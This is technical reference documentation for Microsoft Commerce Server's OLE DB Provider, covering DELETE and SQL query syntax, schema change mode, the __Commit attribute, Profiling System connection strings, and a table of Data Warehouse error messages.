RelationToParentName - the name of the relation between the parent
and its base class
MemberName - the name of a class member from the rightmost class in
memberpath; this specifies the class member to test in where_clause
operator - one of the following operators:
= | <> | < | > | <= | <= | LIKE | IS LIKE | IS NULL | IS IN | NOT NULL
 | != | !>= | !<= | !> | !< | NOT LIKE | IS NOT LIKE | IS NOT NULL | IS NOT IN | NOT IN
testvalue - one of the following: value, IN valuelist, NULL
value - the value to test MemberName against in where_clause
valuelist - a comma-delimited list of values surrounded by parentheses

Delete Syntax Example

Set cmdDel = WScript.CreateObject("ADODB.Command.2.5")

cmdDel.CommandText = "DELETE FROM Request"
cmdDel.CommandText = "DELETE FROM Request
                         WHERE RequestNum > 2"
cmdDel.CommandText = "DELETE FROM Date
                         WHERE DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Date
                         WITH UPDATECHILDREN"
cmdDel.CommandText = "DELETE FROM Date
                         WITH DELETEORPHANS"
cmdDel.CommandText = "DELETE FROM Date
                         WITH UPDATECHILDREN
                         WHERE DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Date
                         WITH DELETEORPHANS
                         WHERE Date.DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Visit
                         WHERE DTimestamp > 1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Visit
                         WHERE DTimestamp
                            IN ('1999-10-29 00:00:00',
                                '1999-10-30 00:00:00')"
cmdDel.CommandText = "DELETE FROM Request
                         WHERE Request.Loguser.IPRef.Hostname = " & _
                           "'1.1.1.1'"
cmdDel.Execute


Schema Change

To extend the logical schema for the Data Warehouse, an arbitrary session of the OLE DB Provider for Commerce Server must be designated as a schema change session. Turning the schema change mode on denotes a schema change session. Changes to the schema are allowed only when in schema change mode, and the changes can only modify existing components of the schema; inserting data is not permitted. While in this mode, provider commands and URLs are accessible to alter the schema.

The __Commit attribute determines whether the changes for the particular catalog object being modified are to be stored in the meta-data catalog when the CommitSchema command is performed. The CommitSchema command persists the session changes to the actual schema tables, provided all changes pass validation. This should be performed when all the individual schema change operations have been performed. This commits all pending schema changes to the persistent storage within SQL in a single transaction.

When extending the schema, perform the following steps:

  1. Designate the current OLE DB Provider for Commerce Server session as a schema change session. Turn the schema change mode on by setting the SchemaMode attribute to 1 (one). This is performed through a Command object from an OLE DB Provider for Commerce Server session. For an example of setting the schema change mode, see Creating a New Class.

Note

  • The SchemaMode attribute accepts values of On, True, or 1 to turn the schema change mode on. Values other than On, True, or 1 set the schema change mode to off.
  1. Create a new instance in the schema object you want (Class, Member, and so forth).
  2. Set the attributes on the row that represents the schema object. Depending on which schema object you are setting, these attributes will be different. For example, if you are defining a new relation, you will need to set an attribute that designates if the relation is one-to-many (1:M) or many-to-many (M:M).
  3. Set the persistence of the new row using the __Commit attribute. If you want the values to be set in the row, set the __Commit column of the row to 1 (one), indicating that changes will be accepted. If you want to ignore the changes, set the __Commit row to 0 (zero) so the changes will be ignored.
  4. If you are using ADO 2.5 or later, use the rec.fields.update method to initiate the call to the OLE DB Provider for Commerce Server.
  5. Repeat steps 2 through 5 for each additional object to be added.
  6. Commit the session changes by running the CommitSchema command.
  7. Turn the schema change mode off by setting the SchemaMode attribute to 0 (zero). This turns off the schema change mode for that OLE DB Provider for Commerce Server session.

Commit

The __Commit attribute determines whether and when the data inserted into a row will be persisted. It allows the user to determine whether the changes made by the provider are accepted or rejected.

When setting row data in the OLE DB Provider for Commerce Server when the Fastload property is set to True, the data is buffered. Two values, Flush (do not save current row) and Save and Flush, explicitly (and synchronously) flush the data to the database.

It is recommended for C++ applications that have high load requirements to use the row reuse feature of the _Commit attribute. Normally, an application creates an instance of a blank row using the IcreateRow interface, populates the column data, commits the data, releases the row, and recreates a new row, reducing the amount of time spent in COM. The Reuse Row value allows the client to reuse the same row over and over without having to release and recreate a new row.

In order to reuse rows, set the __Commit column value to 0x201 (Save with Reuse) after populating the column data for the row. If setting the __Commit column succeeds, the row column data can be repopulated and reused.

Similar to setting the __Commit attribute to 0 (zero), the Ignore value does not persist the data in the row but still allows the row to be reused.

The following table lists the valid values for the __Commit attribute, and provides a brief description of each.

Action | Value | Description
Discard | 0x00 | Discards the row.
Save | 0x01 | Saves the current row.
Flush | 0x02 | Flushes the buffers. Must be called on a row with only the __Commit column set.
Save and Flush | 0x04 | Saves the current row and flushes the buffers.
Ignore | 0x100 | Makes the row nonpersistent.
Reuse Row | 0x200 | Reuses the row multiple times without rebinding.


Profiling System and OLE DB Provider

This section describes the functionalities of the OLE DB Provider for Commerce Server as it is used by the Profiling System.

This section contains:

  • Aggregation Across Multiple Data Sources. Describes the ability of the OLE DB Provider for Commerce Server to manipulate objects aggregated across multiple data sources.
  • OLE DB Connection Strings for the Profiling System. Describes the connection strings recognized by the OLE DB Provider for Commerce Server.
  • SQL Queries Supported by the OLE DB Provider for Commerce Server. Describes the subset of ANSI SQL language used to manipulate objects aggregated across multiple data sources.


Aggregation Across Multiple Data Sources

This topic describes the ability of the OLE DB Provider for Commerce Server to aggregate profile object data from multiple disparate data sources into a single homogeneous OLE DB Row object.

The data aggregation layer handles requests for fetching specified properties of profile object data, inserting new profile objects, deleting profile objects, updating specified properties of profile object data, and combining the results of running search queries simultaneously across multiple data stores.

The data aggregation layer provides support for the following data source types:

  • Microsoft Active Directory directory service
  • Microsoft SQL Server 2000
  • Line-of-Business (LOB) store with the following support:
    • An OLE DB/Open Database Connectivity (ODBC) provider with support for a simple published subset of ANSI SQL

    or

    • A Lightweight Directory Access Protocol version 3 (LDAPv3) compliant directory store.

The data aggregation layer is optimized for performance and scalability against Active Directory and SQL Server stores.

The data aggregation layer is implemented as four components:

  • Aggregation layer, which is part of the OLE DB Provider for Commerce Server itself.
  • Directory component.
  • Microsoft SQL Server 2000.
  • LOB stores component.

The aggregation layer processes requests by splitting them into sub-requests appropriate to each aggregated data store and passing them to components responsible for those stores.


OLE DB Connection Strings for the Profiling System

Two types of connection strings are recognized by the OLE DB Provider for Commerce Server for use with the Profiling System:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:
    Catalog=Profile Definitions:Trusted_Connection=Yes"
  • "Provider=commerce.dso.1;Data Source=mscop://InProcConnect/Server=myserver:Database=dbname:
    Catalog=Profile Definitions:Trusted_Connection=Yes "

The URL-based format is the recommended format.

The name of the catalog must be "Profile Definitions".

The Fastload option (False by default) is not used by the Profiling System.


SQL Queries Supported by the OLE DB Provider for Commerce Server

This section describes the subset of ANSI SQL language used to manipulate objects aggregated across multiple data sources.

SQL Query Syntax

Restrictions

SQL Query Syntax

The following code example shows the SQL query syntax supported by the OLE DB Provider for Commerce Server:

SELECT select_list FROM class_name
   [WHERE search_condition]
   [ORDER BY order_expression]

select_list ::= member_name | member_name , member_list
search_condition ::= in_exression | predicate |
                     predicate AND search_condition
in_expression ::= member_name IN ( value1, … , valueN )
predicate ::=
      member_name { = | <> | > | >= | < | <= | LIKE } value |
      member_name IS [NOT] NULL
order_expression::= member_name*

INSERT [INTO] class_name member_list VALUES value_list

member_list ::= member_name | member_name , member_list
value_list ::= value | value , value_list

UPDATE class_name SET member_value_list WHERE search_condition

member_value_list ::= member_value | member_value , member_value_list
member_value ::= member_name = value
DELETE [FROM] class_name WHERE search_condition

Restrictions

The following restrictions apply to the query syntax:

  • All members in all queries must be specified by their fully qualified names.
  • JOIN operations are not supported.
  • Active Directory does not support queries using the less than (<) or greater than (>) operators. For more information, see RFC 2254, "The String Representation of LDAP Search Filters".
  • Queries cannot be ordered by multiple properties when these properties are stored in Active Directory.
  • Membership Directory does not support sorting.
  • Nonprintable characters are not supported.
  • The results set from a SELECT query is streamed back in the order in which the underlying data store returns the data.
  • All members in the WHERE or ORDER_BY clauses must belong to the same underlying data store. If both WHERE and ORDER_BY clauses are present, then all members in both clauses must map to the same underlying data store.
  • Only single-valued Number (Integer, Float), String, Currency or Date/Time/Datetime data types are supported in the WHERE clause.
  • LIKE clauses support wildcard searches through the '%' character only. All members in LIKE clauses must be of the String data type.
  • The semicolon (;) is used as the delimiter for values in a multi-valued property. Thus, values in a multi-valued property must not contain a semicolon.
  • INSERT and UPDATE commands allow multi-valued property values. The following examples illustrate the use of multi-valued properties:
    INSERT INTO UserObject (Name, Interests)
VALUES ('Joe', ('Basketball', 'Baseball'))

UPDATE UserObject
SET (Interests = ('Basketball', Baseball'))
WHERE Name = 'Joe'
  • A single quote must be escaped with another single quote.
  • A double quote does not need to be escaped with another double quote unless the query is in Visual Basic Scripting Edition (VBScript) code.


OLE DB Provider Error Messages for Data Warehouse and Analysis

This section lists the error messages associated with the OLE DB Provider for Commerce Server for Data Warehouse and Analysis.

For a list of other Commerce Server error messages, see Error Messages.

Error Message | Message ID | Error ID
Catalog DTS task: can't write the status into the taskhistory table | CLTG_DTS_ERR_WRTITING_STATUS | 0xCB009003L
Invalid option for retry count default to 0 | COUNT_INVALID | 0xCB008202L
Catalog DTS task : Error Transfering the hierarchical data | CTLG_DTS_CATHRCHY | 0xCB00900BL
Catalog DTS task : Error Transfering the CatalogGlobal data | CTLG_DTS_CTLGGLOBAL | 0xCB00900AL
Catalog DTS task : AddData failed for the Class %s | CTLG_DTS_ERR_ADDDATA | 0xCB009015L
Catalog DTS task : Error Adding column info for the Column : %s | CTLG_DTS_ERR_ADDING_COL | 0xCB009014L
Catalog DTS task : Error adding the catalog to the list | CTLG_DTS_ERR_CATLIST | 0xCB00901FL
Catalog DTS task : Cannot create the catalog connection recordset object, status code : %lx | CTLG_DTS_ERR_CAT_CONN | 0xCB009020L
Catalog DTS task : Cannot read the catalog %s hirarchy | CTLG_DTS_ERR_CAT_HRCHY | 0xCB009019L
Catalog DTS task : Error creating catalog list | CTLG_DTS_ERR_CAT_LIST | 0xCB00901CL
Catalog DTS task : Error creating new TransID ID. status=0x%x | CTLG_DTS_ERR_CREATING_IDS | 0xCB009029L
Catalog DTS task : Error creating the ID counter | CTLG_DTS_ERR_CREATING_ID_COUNTER | 0xCB009007L
Catalog DTS task : CStTvArray Cannot allocate an element | CTLG_DTS_ERR_CSTVARRAY | 0xCB009028L
Catalog DTS task : Error creating a buffer of CsTVBuff of size %ld | CTLG_DTS_ERR_CSTVBUFF | 0xCB009026L
Catalog DTS task : Error in DataToId() | CTLG_DTS_ERR_DATATOID | 0xCB009027L
Catalog DTS task : DB connection pool initialization failed. SCODE: -1 | CTLG_DTS_ERR_DBCONNPOLL_INIT | 0xCB00902AL
Catalog DTS task : Error creating the DB vector | CTLG_DTS_ERR_DBVECTOR | 0xCB00901EL
Catalog DTS task : Error in DumHierarchy | CTLG_DTS_ERR_DUMP_HRCHY | 0xCB009030L
Catalog DTS task : Cannot convert TimeStamp from Hex to bytes | CTLG_DTS_ERR_HEXTOBYTES | 0xCB00902EL
Catalog DTS task : Error Creating IDMgr Counter | CTLG_DTS_ERR_IDMGR_COUNTER | 0xCB00902CL
Catalog DTS task : Error Intiaizing IdMgr | CTLG_DTS_ERR_IDMGR_INIT | 0xCB00902BL
Catalog DTS task : Failure in transdataimport objects init() method | CTLG_DTS_ERR_INIT_TRANSDATAOBJ | 0xCB009012L
Catalog DTS task : Cannot create TransDataImport object | CTLG_DTS_ERR_INST_TRANSDATAOBJ | 0xCB009011L
Catalog DTS task : Error in GetMaxTimeStampFromCatProducts | CTLG_DTS_ERR_MAXTIMESTAMP | 0xCB009017L
Catalog DTS task : No records in the Catalogglobal table to transfer | CTLG_DTS_ERR_NO_DATA | 0xCB00901DL
Catalog DTS task : Cannot open the catalog database, status code : %lx" | CTLG_DTS_ERR_OPEN_CTLG_DB | 0xCB009024L
Catalog DTS task : Cannot create the Data warehouse connection recordset object, status code : %lx" | CTLG_DTS_ERR_OPEN_DW | 0xCB009023L
Catalog DTS task : Cannot open the data warehouse database, status code : %lx | CTLG_DTS_ERR_OPEN_DW_DB | 0xCB009025L
Catalog DTS task : Error in OpenRecordSet() : %s | CTLG_DTS_ERR_OPEN_RECSET | 0xCB009022L
Catalog DTS task : OpenRecordSet() failed in the catalog DTS task : %1 | CTLG_DTS_ERR_OPEN_REC_FAILED | 0xCB009009L
Catalog DTS task : Error retrieving the first element from the safe array | CTLG_DTS_ERR_SAFEARRY | 0xCB00902DL
Catalog DTS task : Cannot execute the SQL: %s | CTLG_DTS_ERR_SQL | 0xCB009021L
Catalog DTS task : Error setting the timezone method in transdataimport object | CTLG_DTS_ERR_TIMEZONE_TRANSDATAOBJ | 0xCB009013L
Catalog DTS task : Cannot convert systemtime to filetime, while trying to convert current time to the GMT | CTLG_DTS_ERR_TIME_CONV | 0xCB009008L
Catalog DTS task : Error transfering the Categories from the [%s_CatalogProducts] table | CTLG_DTS_ERR_TRNSFR_CAT | 0xCB009018L
Catalog DTS task : Error transfering the products table for the catalog %s | CTLG_DTS_ERR_TRNSFR_PROD | 0xCB00901BL
Catalog DTS task : Cannot change the variant type to BSTRs in WriteProductsIntoDW() | CTLG_DTS_ERR_VARIANTCHANGE | 0xCB00902FL
Catalog DTS task : Error in Writedata() - Class name %s | CTLG_DTS_ERR_WRITEDATA | 0xCB009016L
Catalog DTS task : Error writing the catalog hierarchy : %s into database | CTLG_DTS_ERR_WRITING_CAT_HRCHY | 0xCB00901AL
Catalog DTS task : Error writeing categories and products | CTLG_DTS_PRODUCTS_CATG | 0xCB009010L
Catalog DTS task : Error in querying exportable categories | CTLG_DTS_QUERY_EXPORTABLE_PROP | 0xCB00900FL
Catalog DTS task : Error Loading a resource string from the string table | CTLG_DTS_RES_LOAD_ERR | 0xCB00900EL
Trans-Cltl DTS task provider wrapper : Provider Command object does not support the command interface : %1 | DTS_CMD_OBJ | 0xCB00980CL
Trans-Ctlg DTS task provider wrapper : Execute of SchemaModeOn failed : %1 | DTS_CMD_SCHEMA_MODE_ERR | 0xCB00980EL
Trans-Ctlg DTS task provider wrapper :DB connection pool initialization failed | DTS_CONN_POOL_ERR | 0xCB009819L
Trans-Cltl DTS task provider wrapper : Command does not support Command Text interface : %1 | DTS_CREATE_CMD_TXT | 0xCB00980BL
Trans-Ctlg DTS task provider wrapper : Error in Adddata(), class doesnt exist in the map : %1 | DTS_DONT_EXIST_IN_MAP | 0xCB009813L
Trans-Ctlg DTS task provider wrapper : Error while Adding list in AddColumnInfo() : %1 | DTS_ERR_ADDING_TO_LIST | 0xCB009812L
Trans-Ctlg DTS task provider wrapper : Error while setting into map in AddColumnInfo() : %1 | DTS_ERR_ADDING_TO_MAP | 0xCB009810L
Trans-Ctlg DTS task provider wrapper : Cannot Allocate ClassInfo in AdddColumnInfo : %1 | DTS_ERR_ALLOC_COLUMNINFO | 0xCB00980FL
Trans-Cltl DTS task provider wrapper : Error Binding to schema session , status code : %1 | DTS_ERR_BINDING | 0xCB009808L
Trans-Ctlg DTS task provider wrapper :Cannot find ids in the Fillscols() | DTS_FILLCOLS | 0xCB009818L
Trans-Ctlg DTS task provider wrapper : Error converting the Time from Local to the GMT | DTS_GMT_TIMECONVERT_ERR | 0xCB009816L
Trans-Ctlg DTS task provider wrapper : Cannot create ID counter | DTS_IDCOUNTER_ERR | 0xCB00981AL
Trans-Ctlg DTS task provider wrapper : Error doing a lookup for the ClassName %1, MemberName %2 | DTS_LOOKUP_MEMB_ERR | 0xCB009814L
Trans-Ctlg DTS task provider wrapper : Error in Writedata, class %1, doesnt exist in the map | DTS_MAP_LOOKUP_ERR | 0xCB009817L
Trans-Ctlg DTS task provider wrapper : Out of memory : %1 | DTS_OUTOFMEMORY | 0xCB009811L
Trans-Cltl DTS task provider wrapper : Session does not support CreateCommand : %1 | DTS_SESS_CREATE_CMD | 0xCB00980AL
Trans-Ctlg DTS task provider wrapper : Cannot Init timezone object | DTS_TIMEZONE | 0xCB00981BL
Trans-Ctlg DTS task provider wrapper : Time conversion error | DTS_TIME_CONV_ERR | 0xCB009815L
Trans-Ctlg DTS task provider wrapper : Data type not supported by the provider when extending the class/member URL : %1 | DTS_UNSUPPORTED_DATETYPE | 0xCB00981DL
Failed converting buffer into unicode. | ERDS_E_CDataParserBufferConvertToUnicodeFailed | 0xCA4A802DL
CDataParser::InitFromFile(), Can't open file: %1 | ERDS_E_CDataParserFileOpenError | 0xCA4A802AL
Can't read in the next buffer in file. | ERDS_E_CDataParserFileReadFailed | 0xCA4A802CL
Init for CDataParser failed, hr: %1 | ERDS_E_CDataParserInitFailed | 0xCA4A802BL
CProvClsDef::NewInst(), failed to create a new instance. URL: %1, hr: %2 | ERDS_E_CProvClsDefNewInstanceCreationFailure | 0xCA448018L
CProvClsHandlerFactory::Init(), Error Binding to session, hr: %1 | ERDS_E_CProvClsHandlerSessionBindError | 0xCA448015L
CProvSession::Connect(), error Binding to session, hr: %1 | ERDS_E_CProvSessionBindFailure | 0xCA448017L
CProvSession::Connect, error creating Binder object, hr: %1 | ERDS_E_CProvSessionCreateBinderObjectFailure | 0xCA448016L
Error: Could not convert date/time values. SCODE: %1 | ERDS_E_CStrParserDateConvertFailure | 0xCA448020L
Error parsing date (%1) | ERDS_E_CStrParserDateParsingError | 0xCA448021L
Error parsing time - Expecting end brace | ERDS_E_CStrParserDateParsingErrorExpectingEndBrace | 0xCA448022L
CStrParser::ParseDateTime(), Error converting filetime to time stamp (%1) | ERDS_E_CStrParserErrorConvertingFILETIMEToTimeStamp | 0xCA448023L
CStrParser::ParseDateTime(), Error converting time stamp to filetime (%1) | ERDS_E_CStrParserErrorConvertingTimeStampToFILETIME | 0xCA44801EL
Could not parse time correctly - %1 unknown time discriminant | ERDS_E_CStrParserUnknownTimeDiscriminant | 0xCA44801FL
GetUniqueData(), type: %1, not implemented, hr = %2 | ERDS_E_CUniqueDataGetUniqueDataTypeNotImplemented | 0xCA578005L
CUniqueData::LoadFromDB() unimplemented function called, type: %1 | ERDS_E_CUniqueDataLoadFromDBNotImplemented | 0xCA578004L
Class information is not in the class map of current context, class: %1, context-id: %2 | ERDS_E_ClsInfoNotInContext | 0xCA5A8005L
Could not convert EType %1 from string %2 | ERDS_E_ConvertStringToERDSVariantConversionFailed | 0xCA44801DL
Error - value out of range for a ulong %1 | ERDS_E_ConvertStringToERDSVariantOutOfULONGRange | 0xCA44801CL
Error - value out of range for a ushort %1 | ERDS_E_ConvertStringToERDSVariantOutOfUSHORTRange | 0xCA44801BL
(%1:%2)cls: %3, I: exception, signalling termination of save batch due to error, hr: 0x%4 time: %5. | ERDS_E_DBSaveJobsException | 0xCA5A8014L
Failed initalizing the data format file: %1, hr: %2 | ERDS_E_DataParserDataFormatFileInitializationFailed | 0xCA4A802FL
ResolveDataType(), unsupported data type, type name: %1 | ERDS_E_DataParserDataUnsupportedDataType | 0xCA4A8030L
Error in parsing for boolean, hr: %1 | ERDS_E_DataParserExpectingBoolean | 0xCA4A8025L
Error in parsing an instance, expecting '=', hr: %1. | ERDS_E_DataParserExpectingEqual | 0xCA4A8023L
Error in parsing for symbol or string, hr: %1 | ERDS_E_DataParserExpectingSymbolOrString | 0xCA4A8024L
Error parsing the FileFormatTag: hr: %1 | ERDS_E_DataParserFileFormatTag | 0xCA4A8022L
Initialization of data parser from IStream failed, line: %1, pos: %2, file: %3 | ERDS_E_DataParserInitError | 0xCA4A8010L
ResolveTerminator(), empty terminator string, invalid terminator | ERDS_E_DataParserInvalidTerminator | 0xCA4A8031L
Error initializing CIdCounter. Counter name: %1 | ERDS_E_ErrorInitCounter | 0xCA548004L
Exception in DoJob, in job end: %1, tid: %2, desc: %3 | ERDS_E_ExceptionInDoJobEnd | 0xCA448007L
Exception in DoJob, started: %1, tid: %2, desc: %3 | ERDS_E_ExceptionInDoJobStart | 0xCA448006L
General exception in Save operations, context id: %1 | ERDS_E_ExceptionInSave | 0xCA5A8002L
Counter %25s doesnt exist in the table %1 | ERDS_E_IDCounterDoesntExist | 0xCA548003L
Cannot create Id counter table: %1 | ERDS_E_IDCounterTblCreation | 0xCA548001L
Bind failed in CreateCounter(), hr: %1 | ERDS_E_IDMgrBindFailedInCreateCounter | 0xCA548009L
Bind failed in GetNewIds(), hr: %1 | ERDS_E_IDMgrBindFailedInNewIds | 0xCA54800CL
Exec failed in CreateCounter(), hr: %1 | ERDS_E_IDMgrExecFailedInCreateCounter | 0xCA548008L
Exec failed in GetNewIds(), hr: %1 | ERDS_E_IDMgrExecFailedInNewIds | 0xCA54800BL
Fetch failed in GetNewIds(), hr: %1 | ERDS_E_IDMgrFetchFailedInNewIds | 0xCA54800DL
Error: Invalid HStmt passed to CreateCounter. SCODE: %1 | ERDS_E_IDMgrInvalidHStmtInCreateCounter | 0xCA548007L
Error: Invalid HStmt passed to ID Manager Init. SCODE: %1 | ERDS_E_IDMgrInvalidHStmtInInit | 0xCA548006L
Map Set Error in CreateCounter(), hr: %1 | ERDS_E_IDMgrMapSetAtFailedInCreateCounter | 0xCA54800AL
Ids exceeded the id range in the database, for the counter: %1 | ERDS_E_IdsExhausted | 0xCA548005L
Unable compose full path for include file, cur path: %1, new file:%2 | ERDS_E_ImpAppBadIncludeFilePath | 0xCA448025L
CMultiConnApp::Init(), unable to create semaphore | ERDS_E_ImpAppSemaphoreCreateFailure | 0xCA448027L
CMultiConnApp::DoProcess(), wait for semaphore failed, result of wait: %1 | ERDS_E_ImpAppSemaphoreWaitFailure | 0xCA448028L
Too many nested includes, depth: %1, file: %2 | ERDS_E_ImpAppTooManyIncludes | 0xCA448024L
There is no job in the job map for given job number, parent id: %1, child id: %2 | ERDS_E_JobNotInMap | 0xCA5A800FL
Error: Saving class: %1, mismatched new entries, child cls: %2, idx: %3. | ERDS_E_MismatchedIDsInNewEntries | 0xCA5A8013L
Number %1, out of range for this type. | ERDS_E_NumberOutOfRange | 0xCA4A8032L
Data parser unable to open the given file, line: %1, pos: %2, file: %3 | ERDS_E_OpenFileError | 0xCA4A800FL
Failed to open stream on URL %1, SCODE: %2 | ERDS_E_OpenStreamOnURLFailed | 0xCA448008L
PerfCntrMgr::PerfCntrMgr(), intializing, ref count = %1 | ERDS_E_PerfCounterInitialization | 0xCA44800DL
Error: PerfCntrMgr(), Failed to create perfmon counters object. Error code: %1 | ERDS_E_PerfCounterObjectCreationFailed | 0xCA44800EL
PerfCntrMgr::~PerfCntrMgr(), ref count = %1 | ERDS_E_PerfCounterObjectDestructor | 0xCA448010L
Error: PerfCntrMgr(), Failed to initialize perfmon counters object. Error code: %1 | ERDS_E_PerfCounterObjectInitializationFailed | 0xCA44800FL
SetFILETIME(), cannot convert DBTYPE %1 to FILETIME | ERDS_E_SetFILETIMECannotConvertType | 0xCA44801AL
SetWString(), cannot convert DBTYPE %1 to WString | ERDS_E_SetWStringCannotConvertType | 0xCA448019L
Error retrieving current access token (%1) | ERDS_E_ThrdPoolErrorRetrievingCurrentAccessToken | 0xCA518001L
DoAsyncFuncCall(), exception in async func, seqID: %01, h: %3 | ERDS_E_ThrdPoolExceptionInAsyncFunc | 0xCA518002L
Error binding to Timezone Info, hr: %1 | ERDS_E_TimeZoneBindError | 0xCA44800BL
Failed getting destination timezone %1 | ERDS_E_TimeZoneFailedGettingDestinationTimezone | 0xCA44800AL
Failed getting source timezone %1 | ERDS_E_TimeZoneFailedGettingSourceTimezone | 0xCA448009L
Failed retrieving the timezone %1: %2 | ERDS_E_TimeZoneFailedRetrievingTimezone | 0xCA44800CL
Unknown tag, only ClsDef and Include are supported at highest level, line: %1, pos: %2, file: %3 | ERDS_E_UnknownTag | 0xCA4A8011L
Counter already exists in the database, no counter created: %1 | ERDS_S_IDCounterExists | 0x4A558002L
AddLogDataSource failed for LDS: %1 | ERROR_ADD_LDS | 0xCB00821CL
Failed adding the log files | ERROR_ADD_LOG_DATA_SOURCE | 0xCB008155L
Failed re-add open user in LoadOpenUserVisit. status=%1 | ERROR_ADD_USER_LOAD_OPEN_USER_VISIT | 0xCB0081B1L
Error allocating from VString's virtual buffer | ERROR_ALLOCATING_VSTRING | 0xCB0081D8L
Cannot instantiate the AuthManager object(%1) | ERROR_AUTH_MGR_INSTANTIATION | 0xCB00814FL
Cannot begin imports - No Sites for Server %1 | ERROR_BEGIN_IMPORTS | 0xCB00815DL
Cannot begin imports - No Servers for LDS %1 | ERROR_BEGIN_IMPORTS2 | 0xCB00815EL
Cannot begin import - No Log Data Sources added | ERROR_BEGIN_IMPORTS3 | 0xCB00815FL
Error binding to Crawlers. | ERROR_BIND | 0xCB008194L
Error binding to Qstring Config. | ERROR_BIND1 | 0xCB008195L
Error creating Binder object, status code : %1 | ERROR_BINDER | 0xCB008183L
Error Binding to session number %1, status code : %2 | ERROR_BINDER_SESS | 0xCB008184L
Error binding to Timezone Info. | ERROR_BINDING_TIMEZONE | 0xCB0081D6L
Error binding to Commerce Event Config. | ERROR_BINDING_TO_COMMERCE_EVENT | 0xCB0081A8L
Commerce Event configuration is misconfigured for %1. | ERROR_BIND_COMMERCE_EVENT_MEMBER | 0xCB0081B4L
Error binding to Import Options. | ERROR_BIND_IMPORT_OPTIONS | 0xCB0081ABL
Error binding to Log Data Sources. | ERROR_BIND_LDS | 0xCB00818AL
Error binding to Open User Visits. | ERROR_BIND_OPEN_USER_VISIT | 0xCB0081B0L
Error in checkpoint initialization | ERROR_CHECKPOINT | 0xCB00820FL
Could not remove a stg class from the list. (%1) | ERROR_CLASS_REMOVE | 0xCB0081A1L
Error commiting user B#: %1 | ERROR_COMMITING_USER | 0xCB0081D3L
DB connection pool initialization failed. SCODE: -1 | ERROR_CONNECTION_POOL_INIT | 0xCB008181L
Error(0x%1): Failed decoding the cookie %2 | ERROR_COOKIE_DECODING | 0xCB0081B5L
Error Creating Counter | ERROR_COUNTER_CREATE | 0xCB008187L
Error binding for checkpoint. | ERROR_CP_BIND | 0xCB0081F1L
Error creating new open user visit ID. status=%1 | ERROR_CREATE_OPEN_USER_VISIT | 0xCB0081ADL
Cannot createRow in InsertLogImportSubTask. status=%1 | ERROR_CREATE_ROW_INSERTSUBTASK | 0xCB00820BL
Cannot createRow in InsertUserVisit. status=%1 | ERROR_CREATE_ROW_INSERTUSERVISIT | 0xCB0081A6L
Cannot createRow in InsertOpenUserVisit. status=%1 | ERROR_CREATE_ROW_INSERT_OPEN_USER_VISIT | 0xCB0081AEL
Failed creating the parser virtual buffer | ERROR_CREATE_VIRTUAL_BUFFER | 0xCB00817AL
DB connection pool initialization failed. SCODE: -1 | ERROR_DB_CONNECTION_POOL_INIT | 0xCB0081D9L
Failed deleting the problem Import TaskID:%1 | ERROR_DELETE_IMPORT | 0xCB008205L
Execute of DeleteImport failed (0x%1) | ERROR_DEL_IMPORT | 0xCB00820AL
Failed getting destination timezone %1 | ERROR_DESTINATION_TIMEZONE | 0xCB0081D5L
Duplicate Log Data Source: %1. Second instance ignored. | ERROR_DUP_LOG_DATA_SOURCE | 0xCB008152L
Can't init the events parser | ERROR_EVENTS_PARSER_INIT | 0xCB00816CL
Failed extracting the dot net cookie from URL - %1. | ERROR_EXTRACTING_DOT_NET_COOKIE | 0xCB008229L
Can't get the global job manager | ERROR_GLOBAL_MANAGER | 0xCB008165L
Error hit count == 0 and AllocElem() failed, buf adr : %1, tid: %2 | ERROR_HIT_BUFFER | 0xCB008171L
Error Intiaizing IdMgr | ERROR_ID_MGR_INIT | 0xCB008186L
Error launching a new IE job. %1 | ERROR_IE_LAUNCH | 0xCB008175L
In Web log import No log data source loaded successfully yet | ERROR_IMPORT_DATA_SOURCE_NOT_ADDED | 0xCB008160L
Error validating configuration. status code : %1 (%2) | ERROR_IMPORT_INVALID_CONFIG | 0xCB008161L
Error launching parser. status code : %1 (%2) | ERROR_IMPORT_LAUNCH_PARSER | 0xCB008162L
Log Import Task did not import any hits | ERROR_IMPORT_NO_HITS | 0xCB008163L
Error fetching to Import Options. Check your database | ERROR_IMPORT_OPTIONS_FETCH | 0xCB0081ACL
Failed loading the import options: %1 | ERROR_IMPORT_OPTIONS_LOAD | 0xCB008182L
Error initializing the job buffer manager | ERROR_INIT_JOB_BUFFER | 0xCB00814EL
LoadSiteQStringNames(), QueryString Init failed (%1), qstrname=%2 | ERROR_INIT_QUERYSTRING | 0xCB008196L
LoadSiteQStringNames(), FillQStringCol failed (%1), qstrname=%2 | ERROR_INIT_QUERYSTRING1 | 0xCB008197L
LoadSiteQStringNames(), Adding Qstring to map failed (%1), qstrname=%2 | ERROR_INIT_QUERYSTRING2 | 0xCB008198L
OverlapAction invalid. Using default value %1 instead | ERROR_INVALID_ACTION | 0xCB008192L
The site tables contain some invalid column(s). | ERROR_INVALID_COLUMNS | 0xCB00818EL
Invalid virtual buffer to be used by the hits buffer | ERROR_INVALID_VIRTUAL_BUFFER | 0xCB00816FL
Can't associate file with IO Completion Port. %1 | ERROR_IO_COMPLETION_PORT | 0xCB008176L
Error dispatching new job. status code : %1 (%2) | ERROR_JOB_DISPATCH | 0xCB008170L
Can't get the job queue | ERROR_JOB_QUEUE | 0xCB008166L
LoadLogDataSourcesFromDB Failed | ERROR_LDS_FAIL | 0xCB008201L
Only a maximum of 256 site query parameters is supported. | ERROR_MAX_EXCEEDED | 0xCB008193L
Error filling member definition. (%1) | ERROR_MEMBER_DEF | 0xCB0081AAL
OverlapMins cannot be negative value. Using default value %1 instead | ERROR_NEGATIVE_VALUE | 0xCB008191L
Error creating new Task ID. status=%1 | ERROR_NEW_ID_CREATE | 0xCB0081B2L
Can't create a new sync group | ERROR_NEW_SYNC_JOB_GROUP | 0xCB008169L
Provider Command object does not support the command interface (0x%1) | ERROR_NO_COMMAND | 0xCB008208L
Command does not support Command Text interface (0x%1) | ERROR_NO_COMMAND_TEXT | 0xCB008207L
Internal error - Could not find a match for the log file format specified %1 | ERROR_NO_LOGFILE_MATCH | 0xCB008140L
Session does not support CreateCommand (0x%1) | ERROR_NO_SESSION | 0xCB008206L
